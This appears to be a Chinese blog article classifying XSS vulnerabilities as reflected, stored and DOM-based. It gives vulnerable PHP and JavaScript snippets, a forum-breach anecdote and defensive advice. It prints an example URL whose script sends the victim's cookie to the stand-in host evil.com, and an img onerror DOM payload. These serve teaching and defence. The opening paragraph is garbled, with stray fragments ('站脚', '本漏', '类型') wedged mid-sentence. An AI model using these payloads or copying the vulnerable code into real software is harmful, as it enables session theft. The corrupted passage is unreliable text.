内容摘要：XSS跨站脚本漏洞的类型有 浏览器把用户输入当成代码执行了，这就是XSS。听起来简单，但真正落到漏洞分类上，事情比很多人想的要细。我见过不少开发人员以为XSS就是“弹个alert框”，这种认知偏差直接

XSS跨站脚本漏洞的站脚类型有

浏览器把用户输入当成代码执行了，这就是本漏XSS。听起来简单，类型但真正落到漏洞分类上，站脚事情比很多人想的本漏要细。我见过不少开发人员以为XSS就是类型“弹个alert框”，这种认知偏差直接导致修复方案漏洞百出。站脚按照恶意脚本的本漏存储位置和触发方式，XSS主要分为三类：反射型、类型存储型和DOM型。站脚每种类型的本漏攻击路径、危害程度和防御侧重点都不一样。类型

反射型XSS：一次性的站脚钓鱼陷阱

反射型XSS的本质是“服务器把用户当前请求里的恶意代码原样吐回给了浏览器”。它不存储在服务器上，本漏需要诱导受害者点击一个精心构造的类型URL才能触发。

举个我实际遇到过的例子。某电商网站的搜索功能这样处理关键词：

<span>您搜索的关键词是：<?php echo $_GET['keyword']; ?></span>

攻击者构造链接：

https://example.com/search?keyword=<script>document.location='http://evil.com/steal?c='+document.cookie</script>

用户点击后，脚本在用户浏览器里执行，cookie被发送到攻击者服务器。反射型XSS的payload不会留在服务器上，每次攻击都需要重新诱导点击。危害相对存储型小一些，但配合钓鱼手段依然能造成账号劫持。我个人的判断是：反射型XSS的修复优先级低于存储型，但绝不能忽略——因为它的利用门槛实在太低了，一个URL编码就能绕过很多粗糙的过滤。

存储型XSS：最危险的那种

恶意脚本被永久保存在服务器数据库里，所有访问该页面的用户都会中招。这是三种类型里危害最大的。

2019年我参与处理过一个论坛的存储型XSS事件。攻击者在帖子内容里嵌入了一段经过Base64编码的脚本，绕过了当时基于关键词黑名单的过滤。任何浏览该帖子的用户，脚本都会在后台静默执行，把用户的登录凭证发到攻击者控制的服务器。三天内超过两千个账号被盗。

存储型XSS的触发点通常是评论区、用户昵称、个人签名、文章正文这些“用户输入会被其他人看到”的地方。修复时不能只过滤输入，必须在输出时根据上下文进行编码——HTML实体编码、JavaScript编码、URL编码，各有各的适用场景。很多团队只做输入过滤，结果遇到二次注入或者编码绕过就彻底失效。

DOM型XSS：前端自己的坑

这类XSS比较特殊。服务器端可能完全看不到恶意代码，整个漏洞发生在前端JavaScript里。

看这段代码：

var name = document.location.hash.substring(1); document.getElementById('greeting').innerHTML = '你好，' + name;

如果URL是https://example.com/#<img src=x onerror=alert(1)>，innerHTML会把img标签解析出来，onerror触发脚本执行。服务器返回的HTML里没有任何异常，WAF也检测不到——因为payload在#后面，根本不会发送到服务器。

DOM型XSS的防御重点在前端代码审计。危险的方法包括innerHTML、document.write、eval、setTimeout传入字符串等。我个人的经验是：现代前端框架（React、Vue）默认做了转义，但一旦使用dangerouslySetInnerHTML或v-html，就等于主动打开了这扇门。很多开发人员根本不知道这些API的风险，代码review时也容易被忽略。

三种类型的核心区别

反射型和存储型的区别在于“恶意代码是否落地”——一个在URL里，一个在数据库里。DOM型的区别在于“执行位置”——前两者由服务器拼接HTML后返回，后者完全由前端JavaScript处理。防御策略上，反射型和存储型依赖服务端的输出编码，DOM型依赖前端的安全API使用。实际渗透测试中，我习惯先用反射型payload探测输出点，再用存储型思路测试持久化位置，最后手动审计前端代码找DOM型漏洞。三种类型经常混合出现，比如一个存储型XSS在输出时又经过了不安全的JavaScript拼接，那就同时具备了两类特征。

修复XSS没有银弹。输出编码、CSP、HttpOnly cookie、前端框架的安全使用规范，需要组合起来用。只靠一个htmlspecialchars函数解决所有问题，迟早会出事。